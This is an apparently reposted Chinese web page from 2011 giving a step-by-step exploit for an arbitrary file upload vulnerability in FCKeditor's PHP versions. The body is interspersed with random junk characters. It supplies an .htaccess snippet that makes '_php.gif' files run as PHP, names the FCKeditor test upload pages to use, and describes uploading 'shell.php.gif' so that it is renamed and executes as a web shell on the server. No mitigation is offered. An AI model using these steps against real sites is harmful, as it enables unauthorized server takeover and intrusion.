FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 : c7 J* E! n0 W  y9 Z* `作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 ! N' W" J4 \- `* ^减小字体 增大字体   q: _3 l) R( x, i7 p4 L. @[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 $ N# K6 ?) V& o: ^$ h" Y  }( u: P[+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn ——————————————————— , I, v/ C" z- d& d1.create a htaccess file: code: <FilesMatch “_php.gif”> / ?+ K! l7 q$ p" r1 N. Z0 [- gSetHandler application/x-httpd-php 7 t4 R- C$ u1 d+ z( t1 y2 a" W</FilesMatch> : b. C6 h6 I! @, F 6 @4 c- V* r. m- X2.Now upload this htaccess with FCKeditor. 6 z1 V6 }# J- j1 n1 {$ C ( {) a! h0 G4 m/ B) Ghttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html ! G; B! N$ @4 u$ ?) l% L4 n http://www.sinesafe.cn/FCKeditor ... onnectors/test.html 5 W5 o. @: U; }* p ———————————————————————————————- 5 D3 r8 {/ b3 v% \  S/ Y3.Now upload shell.php.gif with FCKeditor. 1 e# [8 j3 X+ |; g  ?/ W4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif 6.Now shell is available from server.